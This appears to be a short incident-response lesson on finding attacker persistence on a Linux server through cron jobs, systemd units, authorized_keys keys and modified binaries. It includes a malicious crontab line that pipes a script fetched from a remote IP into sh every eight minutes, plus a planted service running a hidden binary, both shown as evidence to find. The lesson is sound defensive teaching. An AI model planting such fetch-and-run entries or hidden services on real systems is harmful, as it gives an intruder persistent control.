Lesson 1 of 1 in Where They Hid To Come Back
Four Places To Look
Cron, systemd, authorized_keys and the modified binary — and why finding one is not finishing.
3 min read
Not yet reviewed
Getting in is work. Staying in is cheap, so anybody who gets in leaves themselves a way back before doing anything else. This is the step people skip, and skipping it is why an incident repeats a week later with the same person and a different entry point.
Sort these by how a returning attacker would use them. buckets are the mechanism, not the file.
A crontab entryA systemd timerA systemd service unitAn init scriptA key in authorized_keysA new account in /etc/passwdA modified system binaryA shell profile that sources something
Show the answer
- Runs on a scheduleA crontab entry, A systemd timer
- Runs at boot or on demandA systemd service unit, An init script
- Lets them log straight back inA key in authorized_keys, A new account in /etc/passwd
- Runs whenever you use the system normallyA modified system binary, A shell profile that sources something
One — scheduled work
*/8 * * * * curl -s http://45.83.64.12/p.sh | sh
$ ls -la /etc/cron.d/ /etc/cron.daily/
-rw-r--r-- 1 root root 52 Aug 14 02:22 /etc/cron.d/apache-log-rotate
$ systemctl list-timers --all | head -3
NEXT UNIT ACTIVATES
Fri 2026-08-15 03:00:00 UTC certbot.timer certbot.service
Two things there. The crontab entry is obvious once seen — it fetches a script every eight minutes and runs it, which means the attacker can change what your server does without touching your server again.
Note
The second is subtler. apache-log-rotate in /etc/cron.d is a plausible name, and this box does not run Apache. A name that belongs to software you do not have is a name somebody chose for you — the same reasoning that made the traversal request stand out from the scanner noise.
Two — services and units
$ systemctl list-unit-files --state=enabled | wc -l
37
$ find /etc/systemd/system -newermt '2026-08-01' -name '*.service'
/etc/systemd/system/network-helper.service
$ cat /etc/systemd/system/network-helper.service
[Service]
ExecStart=/usr/local/bin/.netsvc
Restart=always
Restart=always on a service whose binary lives in a dotfile is not a configuration anybody chose deliberately. The -newermt filter is the trick worth keeping: units installed by packages are old, and the incident window is narrow.
Three — keys and accounts
$ find / -name authorized_keys -not -path '*/proc/*' 2>/dev/null
/home/deploy/.ssh/authorized_keys
/root/.ssh/authorized_keys
$ wc -l /root/.ssh/authorized_keys
2 /root/.ssh/authorized_keys
# You have one key. There are two.
A second key in root's file is the quietest persistence there is. It survives a password change, it survives a reboot, it does not appear in any process list, and it is one line in a file nobody reads.
Four — the modified binary
The rarest and the worst. If ls or ps has been replaced, everything you have been reading is what the attacker wants you to see — including the outputs above.
$ dpkg --verify | head -4
??5?????? /bin/ls
# The 5 means the checksum no longer matches what the package installed.
If ls lies, how can I trust anything I have found so far?
You cannot, entirely, which is why this check happens on the box and the real analysis happens on the snapshot you took in chapter one. Mounting that image somewhere else and reading it with *your* tools is the only way to be certain, and it is exactly what the first five minutes bought you.
You find and remove a malicious cron entry. Is the machine clean?
Tip
After you think it is clean, leave the machine up with outbound logging on and watch it for a day. A missed persistence mechanism announces itself the moment it next fires, and eight minutes is a common interval.